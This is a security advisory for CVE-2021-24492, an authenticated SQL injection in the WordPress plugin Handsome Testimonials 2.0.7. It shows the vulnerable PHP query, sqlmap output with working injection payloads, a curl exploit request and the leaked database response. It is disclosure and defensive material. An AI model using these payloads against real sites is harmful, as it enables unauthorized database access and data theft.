

[Wp Plugin Handsome Testimonials](#)

Plugin Details

Plugin Name: [wp-plugin: handsome-testimonials](#)

Effected Version : 2.0.7 (and most probably lower version's if any)

Vulnerability : [Injection](#)

Minimum Level of Access Required : Subscriber

CVE Number : CVE-2021-24492

Identified by : [Shreya Pohekar](#)

[WPScan Reference URL](#)

Disclosure Timeline

- April 28, 2021: Issue Identified and Disclosed to WPScan
- June 29, 2021 : Plugin Updated
- June 29, 2021 : CVE Assigned
- June 29, 2021 : Public Disclosure

Technical Details

The [hndtst_action_instance_callback](#) AJAX call, is available to all the authenticated roles, does not sanitise, validate or escape the POST parameter `hndtst_previewshortcodeinstanceid` before using it in a SQL statement, leading to a SQL Injection issue.

Vulnerable Code: [tst_shortcode_generator.php#L451](#)

```
448: $hndtst_previewshortcodeinstanceid = ( $_POST['hndtst_previewshortcodeinstanceid'] );
449: $table = $wpdb->prefix . 'hndtst_saved';
450:
451: $row = $wpdb->get_row(
452: "
453: SELECT id,name,shortcode,options
454: FROM $table
455: WHERE id = " . $hndtst_previewshortcodeinstanceid
456: );
```

Fixed Code:

https://plugins.trac.wordpress.org/changeset/2551189/handsome-testimonials/trunk/includes/tst_shortcode_generator.php

PoC Screenshot

```
[07:50:42] [INFO] POST parameter 'hndtst_previewshortcodeinstanceid' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[07:50:47] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[07:50:47] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[07:50:47] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending t
he range for current UNION query injection technique test
[07:50:48] [INFO] target URL appears to have 4 columns in query
[07:50:48] [INFO] POST parameter 'hndtst_previewshortcodeinstanceid' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
POST parameter 'hndtst_previewshortcodeinstanceid' is vulnerable. Do you want to keep testing the others (if any)? [y/N] Y
sqlmap identified the following injection point(s) with a total of 46 HTTP(s) requests:
---
Parameter: hndtst_previewshortcodeinstanceid (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: action=hndtst_previewshortcodeinstanceid&hndtst_previewshortcodeinstanceid=1 AND 2748=2748

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: action=hndtst_previewshortcodeinstanceid&hndtst_previewshortcodeinstanceid=1 AND (SELECT 9779 FROM (SELECT(SLEEP(5)))QzZf)

Type: UNION query
Title: Generic UNION query (NULL) - 4 columns
Payload: action=hndtst_previewshortcodeinstanceid&hndtst_previewshortcodeinstanceid=-5049 UNION ALL SELECT NULL,NULL,CONCAT(0x716b7a6b71,0x5a4a547a7475a4e565751647
2454b4dc324764525a69416b7a767961715957584947776954594d4d,0x716a717a71),NULL-- --
---
[07:51:04] [INFO] the back-end DBMS is MySQL
[07:51:04] [INFO] fetching banner
back-end DBMS operating system: Linux Ubuntu
back-end DBMS: MySQL >= 5.0.12
banner: '8.0.23-0ubuntu0.20.04.1'
[07:51:04] [INFO] fetching current user
current user: 'bob@localhost'
[07:51:04] [INFO] fetching current database
current database: 'wp'
```

← → ↻ Not secure | 172.28.128.50/wp-admin/admin-ajax.php

```
{ "success": true, "data": { "id": "bob@localhost", "design": "", "shortcode": "", "hndtst_options": false, "name": null, "error": false } }
```

Exploit

```
curl -i -s -k -X $'POST' \  
  -H $'X-Requested-With: XMLHttpRequest' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML  
  -b $'wordpress_logged_in_232395f24f6cff47569f2739c21385d6=subscriber%7c1620821016%7cmjyu4p2RkaOmJ3w6w1YJx5mOHJLp5Yi7h7otAA  
  --data-binary $'action=hndtst_previewShortcodeInstance&hndtst_previewShortcodeInstanceId=-5049 UNION ALL SELECT current_us  
  $'http://172.28.128.50/wp-admin/admin-ajax.php'
```

Response

```
HTTP/1.1 200 OK  
Server: nginx/1.18.0 (Ubuntu)  
Date: wed, 28 Apr 2021 12:06:18 GMT  
Content-Type: application/json; charset=UTF-8  
Transfer-Encoding: chunked  
Connection: keep-alive  
Access-Control-Allow-Origin: http://172.28.128.50  
Access-Control-Allow-Credentials: true  
X-Robots-Tag: noindex  
X-Content-Type-Options: nosniff  
X-Frame-Options: SAMEORIGIN  
Referrer-Policy: strict-origin-when-cross-origin  
Expires: wed, 11 Jan 1984 05:00:00 GMT  
Cache-Control: no-cache, must-revalidate, max-age=0  
  
{ "success": true, "data": { "id": "bob@localhost", "design": "qkzkqZJTzGZNVWQdrEKMLRGdRZiAkzvyaqYwXIGwiTYMMqjqzq", "shortcode": "qkzkqZ
```